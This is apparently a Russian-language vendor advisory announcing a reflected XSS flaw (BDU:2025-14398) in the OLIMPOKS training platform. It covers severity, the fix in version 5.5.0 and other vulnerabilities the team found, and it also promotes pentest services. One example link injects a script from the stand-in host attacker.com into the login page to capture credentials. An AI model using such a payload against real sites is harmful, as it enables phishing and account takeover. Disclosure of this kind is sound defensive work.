🚩 Обнаружение 0-day с Метаскан: BDU:2025-14398

Эксперты METASCAN выявили 0-day уязвимость на платформе «ОЛИМПОКС», предназначенной для обучения работников предприятий.

Уязвимость была обнаружена в результате автоматического сканирования периметра одного из наших клиентов и подтверждена экспертами в процессе верификации выявленных угроз.

Найденная уязвимость зарегистрирована в БДУ ФСТЭК России и опубликована под идентификатором BDU:2025-14398.

Эксплуатация BDU:2025-14398 позволяет подменять контент страницы, проводить фишинговые атаки и осуществлять захват аккаунтов пользователей платформы. Суть уязвимости — в отсутствии надлежащей защиты структуры веб-страницы, что позволяет выполнять атаки вида «межсайтовый скриптинг» (XSS): злоумышленник посылает жертве ссылку вида:
https://example.org/login?username=<script src=//attacker.com></script>
Когда пользователь перейдет по ссылке, он увидит обычную аутентификацию на сервис, но при аутентификации все данные будут отправлены злоумышленнику и он получит доступ к учётной записи.

По международным стандартам оценки CVSS 2.0 (Common Vulnerability Scoring System), BDU:2025-14398 получила рейтинг 6,4, по CVSS 3.1 — 6,1 (средний уровень опасности).

Для устранения этой уязвимости необходимо обновить ПО «ОЛИМПОКС» или «ОЛИМПОКС: Предприятие» до версии 5.5.0 и выше. Информация об обновлении доступна на сайте разработчика.

Также наши инженеры Red Team выявили группу 0-day уязвимостей в российском ПО, для которых были зарегистрированы идентификаторы:

- BDU:2024-06203 (Carbon Billing 5)
- BDU:2024-06546 (Calltouch)
- BDU:2024-04635 (R7 Офис)
- BDU:2024-03626 (Vinteo Client)

В ходе наших тестирований мы регулярно находим ранее неизвестные уязвимости. Прямо сейчас в процессе регистрации и устранения находится новая уязвимость в ПО с открытым исходным кодом — ESM.sh.

Эксперты METASCAN готовы проанализировать ваше приложение или ПО для тщательного поиска и обнаружения уязвимостей, в том числе 0-day.

#Metascan #pentest #redteam #Metascan_news